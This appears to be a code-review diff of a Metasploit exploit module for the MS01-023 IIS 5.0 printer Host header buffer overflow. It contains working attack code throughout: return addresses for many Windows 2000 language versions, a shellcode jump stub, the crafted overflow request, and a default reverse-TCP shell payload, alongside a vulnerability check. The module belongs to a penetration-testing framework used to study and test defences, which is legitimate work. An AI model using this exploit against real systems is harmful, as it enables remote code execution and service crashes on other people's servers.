|
6 | 6 | class MetasploitModule < Msf::Exploit::Remote
|
7 | 7 | Rank = GoodRanking
|
8 | 8 |
|
9 |
| - include Msf::Exploit::Remote::Tcp |
| 9 | + include Msf::Exploit::Remote::HttpClient |
10 | 10 |
|
11 | 11 | def initialize(info = {})
|
12 |
| - super(update_info(info, |
13 |
| - 'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow', |
14 |
| - 'Description' => %q{ |
15 |
| - This exploits a buffer overflow in the request processor of |
16 |
| - the Internet Printing Protocol ISAPI module in IIS. This |
17 |
| - module works against Windows 2000 service pack 0 and 1. If |
18 |
| - the service stops responding after a successful compromise, |
19 |
| - run the exploit a couple more times to completely kill the |
20 |
| - hung process. |
21 |
| - }, |
22 |
| - 'Author' => [ 'hdm' ], |
23 |
| - 'License' => MSF_LICENSE, |
24 |
| - 'References' => |
25 |
| - [ |
| 12 | + super( |
| 13 | + update_info( |
| 14 | + info, |
| 15 | + 'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow', |
| 16 | + 'Description' => %q{ |
| 17 | + This exploits a buffer overflow in the request processor of the |
| 18 | + Internet Printing Protocol ISAPI module in IIS. This module |
| 19 | + works against Windows 2000 Server and Professional SP0-SP1. |
| 20 | +
|
| 21 | + If the service stops responding after a successful compromise, |
| 22 | + run the exploit a couple more times to completely kill the |
| 23 | + hung process. |
| 24 | + }, |
| 25 | + 'Author' => [ 'hdm' ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => [ |
26 | 28 | [ 'CVE', '2001-0241'],
|
27 | 29 | [ 'OSVDB', '3323'],
|
28 | 30 | [ 'BID', '2674'],
|
29 | 31 | [ 'MSB', 'MS01-023'],
|
30 | 32 | [ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],
|
31 | 33 | ],
|
32 |
| - 'Privileged' => false, |
33 |
| - 'Payload' => |
34 |
| - { |
35 |
| - 'Space' => 900, |
36 |
| - 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", |
37 |
| - 'StackAdjustment' => -3500, |
| 34 | + 'Privileged' => false, |
| 35 | + 'Payload' => { |
| 36 | + 'Space' => 900, |
| 37 | + 'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a", |
| 38 | + 'StackAdjustment' => -3500 |
38 | 39 | },
|
39 |
| - 'Targets' => |
40 |
| - [ |
41 |
| - [ |
42 |
| - 'Windows 2000 English SP0-SP1', |
43 |
| - { |
44 |
| - 'Platform' => 'win', |
45 |
| - 'Ret' => 0x732c45f3, |
46 |
| - }, |
47 |
| - ], |
| 40 | + 'Targets' => [ |
| 41 | + # jmp esp @ compfilt.dll |
| 42 | + [ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ], |
| 43 | + [ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ], |
| 44 | + [ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ], |
| 45 | + [ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ], |
| 46 | + [ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ], |
| 47 | + [ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ], |
| 48 | + [ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ], |
| 49 | + [ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ], |
| 50 | + # [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20 |
| 51 | + [ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ], |
| 52 | + [ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ], |
| 53 | + [ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ], |
| 54 | + [ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ], |
| 55 | + [ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ], |
| 56 | + [ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ], |
| 57 | + [ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ], |
| 58 | + |
| 59 | + # jmp esp @ ws2_32.dll |
| 60 | + [ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ], |
| 61 | + [ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ], |
48 | 62 | ],
|
49 |
| - 'Platform' => 'win', |
50 |
| - 'DisclosureDate' => '2001-05-01', |
51 |
| - 'DefaultTarget' => 0)) |
52 |
| - |
53 |
| - register_options( |
54 |
| - [ |
55 |
| - Opt::RPORT(80) |
56 |
| - ]) |
| 63 | + 'Arch' => [ARCH_X86], |
| 64 | + 'Platform' => 'win', |
| 65 | + 'DefaultOptions' => { |
| 66 | + 'PAYLOAD' => 'windows/shell/reverse_tcp' |
| 67 | + }, |
| 68 | + 'Notes' => { |
| 69 | + 'Reliability' => [REPEATABLE_SESSION], |
| 70 | + 'Stability' => [CRASH_SERVICE_DOWN], |
| 71 | + 'SideEffects' => [IOC_IN_LOGS] |
| 72 | + }, |
| 73 | + 'DefaultTarget' => 4, |
| 74 | + 'DisclosureDate' => '2001-05-01' |
| 75 | + ) |
| 76 | + ) |
| 77 | + |
| 78 | + register_options([ |
| 79 | + Opt::RPORT(80) |
| 80 | + ]) |
57 | 81 | end
|
58 | 82 |
|
59 |
| - |
60 | 83 | def check
|
61 |
| - connect |
62 |
| - sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n") |
63 |
| - resp = sock.get_once |
64 |
| - disconnect |
65 |
| - |
66 |
| - if !(resp and resp =~ /Error in web printer/) |
67 |
| - return Exploit::CheckCode::Safe |
68 |
| - end |
69 |
| - |
70 |
| - connect |
71 |
| - sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n") |
72 |
| - resp = sock.get_once |
73 |
| - disconnect |
74 |
| - |
75 |
| - if (resp and resp =~ /locked out/) |
76 |
| - print_status("The IUSER account is locked out, we can't check") |
77 |
| - return Exploit::CheckCode::Detected |
78 |
| - end |
79 |
| - |
80 |
| - if (resp and resp.index("HTTP/1.1 500") >= 0) |
81 |
| - return Exploit::CheckCode::Vulnerable |
82 |
| - end |
83 |
| - |
84 |
| - return Exploit::CheckCode::Safe |
| 84 | + res = send_request_cgi({ |
| 85 | + 'uri' => '/NULL.printer', |
| 86 | + 'version' => '1.0' |
| 87 | + }) |
| 88 | + |
| 89 | + return CheckCode::Unknown('Connection failed') unless res |
| 90 | + return CheckCode::Safe unless res.code == 500 |
| 91 | + # Error response is language dependent: "<b>Error in web printer install.</b>" |
| 92 | + return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>') |
| 93 | + |
| 94 | + res = send_request_cgi({ |
| 95 | + 'uri' => '/NULL.printer', |
| 96 | + 'vhost' => rand_text_alpha(257), |
| 97 | + 'version' => '1.0' |
| 98 | + }) |
| 99 | + |
| 100 | + return CheckCode::Unknown('Connection failed') unless res |
| 101 | + return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out') |
| 102 | + return CheckCode::Safe unless res.code == 500 |
| 103 | + return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>') |
| 104 | + |
| 105 | + CheckCode::Appears |
85 | 106 | end
|
86 | 107 |
|
87 | 108 | def exploit
|
88 |
| - connect |
| 109 | + print_status("Using target: #{target.name} ...") |
89 | 110 |
|
90 |
| - buf = make_nops(280) |
91 |
| - buf[268, 4] = [target.ret].pack('V') |
| 111 | + buf = make_nops(268) |
| 112 | + buf << [target.ret].pack('V') |
| 113 | + buf << make_nops(8) |
92 | 114 |
|
93 | 115 | # payload is at: [ebx + 96] + 256 + 64
|
94 |
| - buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96] |
95 |
| - buf << "\x80\xc1\x40" # add cl, 64 |
96 |
| - buf << "\x80\xc5\x01" # add ch, 1 |
97 |
| - buf << "\xff\xe1" # jmp ecx |
98 |
| - |
99 |
| - sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n") |
100 |
| - |
101 |
| - handler |
102 |
| - disconnect |
| 116 | + buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96] |
| 117 | + buf << "\x80\xc1\x40" # add cl, 64 |
| 118 | + buf << "\x80\xc5\x01" # add ch, 1 |
| 119 | + buf << "\xff\xe1" # jmp ecx |
| 120 | + |
| 121 | + res = send_request_cgi({ |
| 122 | + 'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}", |
| 123 | + 'version' => '1.0' |
| 124 | + }, 5) |
| 125 | + |
| 126 | + # It is expected that we receive no reply. A reply indicates exploit failure. |
| 127 | + fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res |
103 | 128 | end
|
104 | 129 | end
|
0 commit comments